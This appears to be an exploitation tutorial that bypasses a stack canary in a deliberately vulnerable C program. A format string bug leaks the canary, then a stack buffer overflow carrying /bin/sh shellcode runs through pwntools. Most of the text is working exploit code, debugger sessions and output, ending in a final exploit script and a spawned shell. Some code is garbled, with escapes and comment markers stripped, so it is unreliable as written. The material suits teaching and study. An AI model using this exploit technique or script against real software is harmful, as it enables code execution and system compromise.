In the previous article of this series, we discussed how format string vulnerabilities can be exploited. This article provides a case study of how format string vulnerabilities can be used to exploit serious vulnerabilities such as Buffer Overflows. We will begin by understanding what stack canaries are and then we will exploit a Buffer Overflow vulnerability by making use of a format string vulnerability. What is stack canary? Stack Canaries are used to detect a stack buffer overflow before execution is transferred to the user controlled code. This is achieved by placing a random value in memory just before the stack return pointer. To exploit a buffer overflow, attackers usually overwrite the return pointer. So in order to overwrite the return pointer, the canary value must also be overwritten. However, this value is checked to make sure it was not tampered with before a routine uses the return pointer on the stack. This technique can greatly increase the difficulty of exploiting a stack buffer overflow because it forces the attacker to gain control of the instruction pointer by some non-traditional means such as using memory leak vulnerabilities. How to bypass stack canary protection? Now that we understood how stack canaries work, let us discuss how we can bypass stack canaries and exploit the buffer overflow vulnerability. We are going to use the same vulnerable program for this exercise.       vuln_func(argv[1]);     return 0; } void vuln_func(char *input){     char buffer[256];     printf(input);     printf(“n”);     gets(buffer); } The preceding program is vulnerable to two different vulnerabilities.

A format string vulnerability  Stack Based Buffer Overflow

We will make use of the format string vulnerability to leak the stack canary and Stack Based Buffer Overflow to take control of the RIP register.  We will first use gdb to analyse the binary and then we will use pwntools to exploit the vulnerable program. Now, Let us run the binary using gdb and let us use the format string vulnerability to pop values off the stack.    78 commands loaded for GDB 9.1 using Python engine 3.8 [*] 2 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤  disass vuln_func Dump of assembler code for function vuln_func:    0x00000000004011c8 <+0>: endbr64     0x00000000004011cc <+4>: push   rbp    0x00000000004011cd <+5>: mov    rbp,rsp    0x00000000004011d0 <+8>: sub    rsp,0x120    0x00000000004011d7 <+15>: mov    QWORD PTR [rbp-0x118],rdi    0x00000000004011de <+22>: mov    rax,QWORD PTR fs:0x28    0x00000000004011e7 <+31>: mov    QWORD PTR [rbp-0x8],rax    0x00000000004011eb <+35>: xor    eax,eax    0x00000000004011ed <+37>: mov    rax,QWORD PTR [rbp-0x118]    0x00000000004011f4 <+44>: mov    rdi,rax    0x00000000004011f7 <+47>: mov    eax,0x0    0x00000000004011fc <+52>: call   0x401090 printf@plt    0x0000000000401201 <+57>: mov    edi,0xa    0x0000000000401206 <+62>: call   0x401070 putchar@plt    0x000000000040120b <+67>: lea    rax,[rbp-0x110]    0x0000000000401212 <+74>: mov    rdi,rax    0x0000000000401215 <+77>: mov    eax,0x0    0x000000000040121a <+82>: call   0x4010a0 gets@plt    0x000000000040121f <+87>: nop    0x0000000000401220 <+88>: mov    rax,QWORD PTR [rbp-0x8]    0x0000000000401224 <+92>: xor    rax,QWORD PTR fs:0x28    0x000000000040122d <+101>: je     0x401234 <vuln_func+108>    0x000000000040122f <+103>: call   0x401080 __stack_chk_fail@plt    0x0000000000401234 <+108>: leave      0x0000000000401235 <+109>: ret     End of assembler dump. gef➤   Let us set up a breakpoint at vuln_func + 92, where the stack canary is verified just before returning from the function.   Breakpoint 1 at 0x401224 gef➤  Let us use multiple %llx to abuse the format string vulnerability and leak values entries from the stack hoping to get the canary. So, let us run the program as follows.   7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0 test Breakpoint 1, 0x0000000000401224 in vuln_func () As we can notice, there are values dumped from the stack and the breakpoint is also hit.  Now, examine the value of register rax to verify the canary value it has.   gef➤   This value is the stack canary which is being used by the application in this run to detect stack smashing. If you closely observe the leaked content earlier, this canary value is available there. Also note that it’s the 41st value in the leaked entries.   7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0 test Breakpoint 1, 0x0000000000401224 in vuln_func () So, this is how we can leak stack canaries to be able to bypass stack smashing detection.  One can easily find out the offset to stack canary and replace the junk characters with the actual canary at runtime.  Let us first find out the offset to stack canary using a pattern.   aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa [+] Saved as ‘$_gef0’ gef➤  Once again, set up a breakpoint at vuln_func + 92, where the stack canary is verified and run the program using the pattern generated.   test aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa After the program is run, we should hit the breakpoint at the following instruction.         0x401221 <vuln_func+89>   mov    eax, DWORD PTR [rbp-0x8]  →   0x401224 <vuln_func+92>   xor    rax, QWORD PTR fs:0x28      0x40122d <vuln_func+101>  je     0x401234 <vuln_func+108>      0x40122f <vuln_func+103>  call   0x401080 __stack_chk_fail@plt      0x401234 <vuln_func+108>  leave        0x401235 <vuln_func+109>  ret    The program is about to verify the stack canary, but we have overwritten the canary value with our large input. So, let us check what rax contains.   gef➤ As you can notice, the canary is overwritten with 8 bytes of our pattern. Let us find the offset at which canary is written. This is needed to be able to position the leaked canary in the buffer overflow payload.   [+] Found at offset 264 (little-endian search) likely gef➤  As we can see in the preceding excerpt, 264 bytes are needed to overwrite the stack canary. We can find the offset of the return address (RIP register) using the same process. The offset to the RBP register is 272 and RIP requires 278 bytes.  Crafting the exploit using pwntools framework: Using the information gathered so far, let us write our exploit with the help of pwntools framework. Use the following command to create a template exploit.   Following is the template created. Ensure that the exploit template is updated to use python3 since python2 is used by default.  

This exploit template was generated via:

$ pwn template ./vulnerable

from pwn import *

Set up pwntools for the correct architecture

exe = context.binary = ELF(‘./vulnerable’)

Many built-in settings can be controlled on the command-line and show up

in “args”.  For example, to dump all data sent/received, and disable ASLR

for all created processes…

./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):     ”’Start the exploit against the target.”’     if args.GDB:         return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)     else:         return process([exe.path] + argv, *a, **kw)

Specify your GDB script here for debugging

GDB will be launched if the exploit is run via e.g.

./exploit.py GDB

gdbscript = ”’ tbreak main continue ”’.format(**locals()) #=========================================================== #                    EXPLOIT GOES HERE #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start()

shellcode = asm(shellcraft.sh())

payload = fit({

    32: 0xdeadbeef,

    ‘iaaa’: [1, 2, ‘Hello’, 3]

}, length=128)

io.send(payload)

flag = io.recv(…)

log.success(flag)

io.interactive() The following excerpt shows that we can pass the arguments within the process function.  

This exploit template was generated via:

$ pwn template ./vulnerable

from pwn import *

Set up pwntools for the correct architecture

exe = context.binary = ELF(‘./vulnerable’)

Many built-in settings can be controlled on the command-line and show up

in “args”.  For example, to dump all data sent/received, and disable ASLR

for all created processes…

./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):     ”’Start the exploit against the target.”’     if args.GDB:         return gdb.debug([exe.path, “%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx”] + argv, gdbscript=gdbscript, *a, **kw)     else:         return process([exe.path, “%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx”] + argv, *a, **kw)

Specify your GDB script here for debugging

GDB will be launched if the exploit is run via e.g.

./exploit.py GDB

gdbscript = ”’ tbreak main continue ”’.format(**locals()) #=========================================================== #                    EXPLOIT GOES HERE #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start() print(io.readline()) io.sendline(‘A’*300) io.interactive() As we can notice in the preceding excerpt, the arguments can be passed using the process() function. Let us also understand what each of the highlighted  lines are doing here. start() – This line will call the start() function, which has a call to process(). This line is basically to start talking to a process. print(io.readline()) – This line is to read data from the program until a new line character is encountered. This is where we will be able to print the leaked canary. print(io.sendline(‘A’300)) – This line will send 300 As to the program and it includes a newline(n) character at the end. io.interactive() – All the previous lines used are to programmatically interact with the process. However, using this line we can actually interact with the process using an interactive shell. Let us run the exploit and observe what happens.       Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX disabled     PIE:      No PIE (0x400000)     RWX:      Has RWX segments [+] Starting local process ‘/home/dev/backup_x86_64/canary/vulnerable’: pid 1449268 b’7ffda9b43fd8,7ffda9b43ff0,401240,0,7f7ab6df8d50,0,7ffda9b46282,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7ffda9b46fb6,0,0,0,0,0,0,400040,f0b5ff,c2,7ffda9b43ec7,7ffda9b43ec6,40128d,7f7ab6dd2fc8,5e09702adac70d00,7ffda9b43ee0,4011c1,7ffda9b43fd8,200000000,0,7f7ab6c090b3,7f7ab6e14620,7ffda9b43fd8,200000000,401196,401240,58e98503db447cb8,4010b0,7ffda9b43fd0,0,0,a712d66ba6a47cb8,a61ce882fb8a7cb8,0,0,0,2,7ffda9b43fd8,7ffda9b43ff0,7f7ab6e16190,0,0,4010b0,7ffda9b43fd0,0n’ [] Switching to interactive mode *** stack smashing detected : terminated [] Got EOF while reading in interactive $  [] Process ‘/home/dev/backup_x86_64/canary/vulnerable’ stopped with exit code -6 (SIGABRT) (pid 1449268) [] Got EOF while sending in interactive As we can notice, the format string vulnerability is leaking the canary highlighted in yellow but we have received a stack smashing detected error since we did not send this canary as part of the buffer. Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack. So, let us update the exploit template to leak the stack canary by passing the argument %41$llx.  

This exploit template was generated via:

$ pwn template ./vulnerable

from pwn import *

Set up pwntools for the correct architecture

exe = context.binary = ELF(‘./vulnerable’)

Many built-in settings can be controlled on the command-line and show up

in “args”.  For example, to dump all data sent/received, and disable ASLR

for all created processes…

./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):     ”’Start the exploit against the target.”’     if args.GDB:         return gdb.debug([exe.path, “%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx”] + argv, gdbscript=gdbscript, *a, **kw)     else:         return process([exe.path, “%41$llx“] + argv, *a, **kw)

Specify your GDB script here for debugging

GDB will be launched if the exploit is run via e.g.

./exploit.py GDB

gdbscript = ”’ tbreak main continue ”’.format(**locals()) #=========================================================== #                    EXPLOIT GOES HERE #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start() print(io.readline()) io.sendline(‘A’300) io.interactive() As we can notice, the exploit is updated to leak the stack canary only. Let us run the exploit and observe what happens.       Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX disabled     PIE:      No PIE (0x400000)     RWX:      Has RWX segments [+] Starting local process ‘/home/dev/backup_x86_64/canary/test/vulnerable’: pid 1454716 b’ca9192464af1ea00n’ [] Switching to interactive mode *** stack smashing detected **: terminated [] Got EOF while reading in interactive $ As expected, the stack canary is leaked and stack smashing is detected. As we can observe, the leaked address is in byte format. We need to extract the first 16 bytes in the output and convert into an integer with  base 16. This gives us the canary leaked from the stack, which is the 41st entry. So, let us extract the leaked canary and save it in a variable. We can then adjust the buffer to include this canary value so that stack smashing will not be detected.   #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start() leaked = io.readline() canary = int(leaked[:17],16) print(hex(canary)) io.sendline(‘A’300) io.interactive() Run the preceding excerpt, and we should see the following output.       Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX disabled     PIE:      No PIE (0x400000)     RWX:      Has RWX segments [+] Starting local process ‘/home/dev/backup_x86_64/canary/test/vulnerable’: pid 12640 0xcaf387196630e400 [] Switching to interactive mode *** stack smashing detected **: terminated [] Got EOF while reading in interactive $   As we can see, we managed to extract the exact canary value. Next, let us adjust the payload with the canary. Following are the observations from our analysis earlier.

Offset to overwrite stack canary is 264 bytes  Offset to overwrite the RBP register is 272 bytes RIP should point to the address of shellcode

Now, let us update the exploit with these details as follows.    #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start() leaked = io.readline() canary = int(leaked[:17],16) print(hex(canary)) shellcode = b”x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05″ payload = shellcode payload += b’A’ * (264-len(shellcode)) payload += p64(canary) payload += b’B’ * 8 payload += p64(0x7fffffffde50) #address pointing to shellcode io.sendline(payload) io.interactive() Let us check if the exploit works.       Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX disabled     PIE:      No PIE (0x400000)     RWX:      Has RWX segments [+] Starting local process ‘/home/dev/backup_x86_64/canary/test/vulnerable’: pid 52950 0xbfb42c44c1d29600 [*] Switching to interactive mode $ id uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker) $   The exploit worked and we bypassed stack canary by chaining format string vulnerability with a stack based buffer overflow vulnerability. Following is the final exploit. Conclusion:

-- coding: utf-8 --

This exploit template was generated via:

$ pwn template ./vulnerable

from pwn import *

Set up pwntools for the correct architecture

exe = context.binary = ELF(‘./vulnerable’)

Many built-in settings can be controlled on the command-line and show up

in “args”.  For example, to dump all data sent/received, and disable ASLR

for all created processes…

./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):     ”’Start the exploit against the target.”’     if args.GDB:         return gdb.debug([exe.path, “%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx”] + argv, gdbscript=gdbscript, *a, **kw)     else:         return process([exe.path, “%41$llx”] + argv, *a, **kw)

Specify your GDB script here for debugging

GDB will be launched if the exploit is run via e.g.

./exploit.py GDB

gdbscript = ”’ tbreak main continue ”’.format(**locals()) #=========================================================== #                    EXPLOIT GOES HERE #===========================================================

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX disabled

PIE:      No PIE (0x400000)

RWX:      Has RWX segments

io = start() leaked = io.readline() canary = int(leaked[:17],16) print(hex(canary)) shellcode = b”x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05″ payload = shellcode payload += b’A’ * (264-len(shellcode)) payload += p64(canary) payload += b’B’ * 8 payload += p64(0x7fffffffde50) io.sendline(payload) io.interactive() Format String vulnerabilities clearly can create great damage, when exploited. One can easily read data from arbitrary memory locations and use them to chain with other vulnerabilities such as Buffer Overflows. Developers must be aware of Format String vulnerabilities and the risks they bring when writing functions that are susceptible to format string vulnerabilities.  

Sources:

https://owasp.org/www-community/Source_Code_Analysis_Tools https://owasp.org/www-community/attacks/Format_string_attack https://www.netsparker.com/blog/web-security/format-string-vulnerabilities/